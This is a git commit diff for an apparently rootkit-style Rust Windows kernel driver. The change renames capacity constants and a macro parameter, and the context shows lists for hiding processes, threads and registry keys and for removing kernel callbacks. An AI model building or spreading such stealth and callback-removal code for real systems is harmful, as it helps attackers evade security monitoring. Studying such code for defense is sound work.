refactor(cliente): rename variables for better readability

This commit is contained in:
joaoviictorti
2024-09-26 21:08:25 -03:00
parent cfc2afbf6b
commit 89bb5fc9c5
8 changed files with 25 additions and 23 deletions

View File

@@ -126,7 +126,6 @@ impl CallbackList for CallbackOb {
} }
list_objects.push(((*next).enabled, addrs)); list_objects.push(((*next).enabled, addrs));
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
} }

View File

@@ -1,7 +1,10 @@
use { use {
alloc::vec::Vec, alloc::vec::Vec,
crate::internals::structs::{CallbackRestaure, CallbackRestaureOb}, crate::internals::structs::{CallbackRestaure, CallbackRestaureOb},
shared::structs::{CallbackInfoInput, CallbackInfoOutput}, shared::{
vars::MAX_CALLBACK,
structs::{CallbackInfoInput, CallbackInfoOutput},
},
spin::{lazy::Lazy, Mutex}, wdk_sys::NTSTATUS, spin::{lazy::Lazy, Mutex}, wdk_sys::NTSTATUS,
}; };
@@ -10,13 +13,13 @@ pub mod ioctls;
pub mod callbacks; pub mod callbacks;
/// Variable that stores callbacks that have been removed. /// Variable that stores callbacks that have been removed.
pub static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40))); pub static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
/// Variable that stores callbacks registry that have been removed. /// Variable that stores callbacks registry that have been removed.
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40))); static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
/// Variable that stores callbacks Ob that have been removed. /// Variable that stores callbacks Ob that have been removed.
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40))); static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
/// Trait defining common operations for callback lists. /// Trait defining common operations for callback lists.
pub trait CallbackList { pub trait CallbackList {

View File

@@ -4,7 +4,7 @@ use {
alloc::vec::Vec, alloc::vec::Vec,
core::ffi::c_void, core::ffi::c_void,
spin::{Mutex, lazy::Lazy}, spin::{Mutex, lazy::Lazy},
shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS}, shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PID},
winapi::um::winnt::{ winapi::um::winnt::{
PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_TERMINATE,
PROCESS_VM_OPERATION, PROCESS_VM_READ PROCESS_VM_OPERATION, PROCESS_VM_READ
@@ -22,7 +22,7 @@ use {
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut(); pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut();
/// List of target PIDs protected by a mutex. /// List of target PIDs protected by a mutex.
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS))); static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
/// Method to check if the action sent is to add or remove a pid from the list of protected processes /// Method to check if the action sent is to add or remove a pid from the list of protected processes
/// ///
@@ -56,7 +56,7 @@ pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
fn add_target_pid(pid: usize) -> NTSTATUS { fn add_target_pid(pid: usize) -> NTSTATUS {
let mut pids = TARGET_PIDS.lock(); let mut pids = TARGET_PIDS.lock();
if pids.len() >= MAX_PIDS { if pids.len() >= MAX_PID {
log::error!("PID list is full"); log::error!("PID list is full");
return STATUS_UNSUCCESSFUL; return STATUS_UNSUCCESSFUL;
} }

View File

@@ -4,7 +4,7 @@ use {
alloc::{boxed::Box, vec::Vec}, alloc::{boxed::Box, vec::Vec},
core::sync::atomic::{AtomicPtr, Ordering}, core::sync::atomic::{AtomicPtr, Ordering},
shared::{ shared::{
vars::MAX_PIDS, vars::MAX_PID,
enums::Options, enums::Options,
structs::{ structs::{
HiddenProcessInfo , ProcessListInfo, TargetProcess, HiddenProcessInfo , ProcessListInfo, TargetProcess,
@@ -31,7 +31,7 @@ pub use callback::*;
pub mod ioctls; pub mod ioctls;
/// List of target processes protected by a mutex. /// List of target processes protected by a mutex.
pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<HiddenProcessInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS))); pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<HiddenProcessInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
/// Represents a process in the operating system. /// Represents a process in the operating system.
pub struct Process { pub struct Process {

View File

@@ -3,7 +3,7 @@ extern crate alloc;
use { use {
alloc::{string::{String, ToString}, vec::Vec}, alloc::{string::{String, ToString}, vec::Vec},
core::marker::PhantomData, core::marker::PhantomData,
shared::structs::TargetRegistry, shared::{structs::TargetRegistry, vars::MAX_REGISTRY},
spin::{lazy::Lazy, Mutex, MutexGuard}, spin::{lazy::Lazy, Mutex, MutexGuard},
utils::KeyListType, utils::KeyListType,
wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL} wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}
@@ -17,16 +17,16 @@ pub mod ioctls;
pub use callback::*; pub use callback::*;
/// List of keys and target values. /// List of keys and target values.
pub static TARGET_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20))); pub static TARGET_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
/// List of target keys. /// List of target keys.
static TARGET_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20))); static TARGET_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
/// List of hide keys. /// List of hide keys.
static HIDE_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20))); static HIDE_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
/// List of keys and target values. /// List of keys and target values.
static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20))); static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
/// Trait defining common operations for registry lists. /// Trait defining common operations for registry lists.
trait RegistryList<T> { trait RegistryList<T> {

View File

@@ -3,7 +3,7 @@
use { use {
alloc::vec::Vec, alloc::vec::Vec,
core::ffi::c_void, core::ffi::c_void,
shared::{structs::{ThreadListInfo, ThreadProtection}, vars::MAX_TIDS}, shared::{structs::{ThreadListInfo, ThreadProtection}, vars::MAX_TID},
spin::{lazy::Lazy, Mutex}, spin::{lazy::Lazy, Mutex},
wdk_sys::{ wdk_sys::{
ntddk::PsGetThreadId, NTSTATUS, OB_PRE_OPERATION_INFORMATION, PETHREAD, ntddk::PsGetThreadId, NTSTATUS, OB_PRE_OPERATION_INFORMATION, PETHREAD,
@@ -17,7 +17,7 @@ use {
pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: PVOID = core::ptr::null_mut(); pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: PVOID = core::ptr::null_mut();
/// List of the target TIDs /// List of the target TIDs
static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TIDS))); static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID)));
/// Method to check if the action sent is to add or remove a tid from the list of protected threads /// Method to check if the action sent is to add or remove a tid from the list of protected threads
/// ///
@@ -46,7 +46,7 @@ pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS {
fn add_target_tid(tid: usize) -> NTSTATUS { fn add_target_tid(tid: usize) -> NTSTATUS {
let mut tids = TARGET_TIDS.lock(); let mut tids = TARGET_TIDS.lock();
if tids.len() >= MAX_TIDS { if tids.len() >= MAX_TID {
log::error!("tid list is full"); log::error!("tid list is full");
return STATUS_UNSUCCESSFUL; return STATUS_UNSUCCESSFUL;
} }
@@ -72,7 +72,7 @@ fn add_target_tid(tid: usize) -> NTSTATUS {
fn remove_target_tid(tid: usize) -> NTSTATUS { fn remove_target_tid(tid: usize) -> NTSTATUS {
let mut tids = TARGET_TIDS.lock(); let mut tids = TARGET_TIDS.lock();
if tids.len() >= MAX_TIDS { if tids.len() >= MAX_TID {
log::error!("tid list is full"); log::error!("tid list is full");
return STATUS_UNSUCCESSFUL; return STATUS_UNSUCCESSFUL;
} }

View File

@@ -9,7 +9,7 @@ use {
HiddenThreadInfo, TargetThread, LIST_ENTRY, HiddenThreadInfo, TargetThread, LIST_ENTRY,
ThreadListInfo, EnumerateInfoInput ThreadListInfo, EnumerateInfoInput
}, },
vars::MAX_TIDS, vars::MAX_TID,
enums::Options, enums::Options,
}, },
wdk_sys::{ wdk_sys::{
@@ -26,7 +26,7 @@ pub mod ioctls;
pub use callback::*; pub use callback::*;
/// List of target threads protected by a mutex. /// List of target threads protected by a mutex.
pub static THREAD_INFO_HIDE: Lazy<Mutex<Vec<HiddenThreadInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TIDS))); pub static THREAD_INFO_HIDE: Lazy<Mutex<Vec<HiddenThreadInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID)));
/// Represents a thread in the operating system. /// Represents a thread in the operating system.
pub struct Thread { pub struct Thread {

View File

@@ -21,8 +21,8 @@ macro_rules! handle {
$action(input_buffer, output_buffer, $information) $action(input_buffer, output_buffer, $information)
}}; }};
($irp:expr, $action:expr, $type_:ty) => {{ ($stack:expr, $action:expr, $type_:ty) => {{
let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) { let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) {
Ok(buffer) => buffer, Ok(buffer) => buffer,
Err(status) => return status, Err(status) => return status,
}; };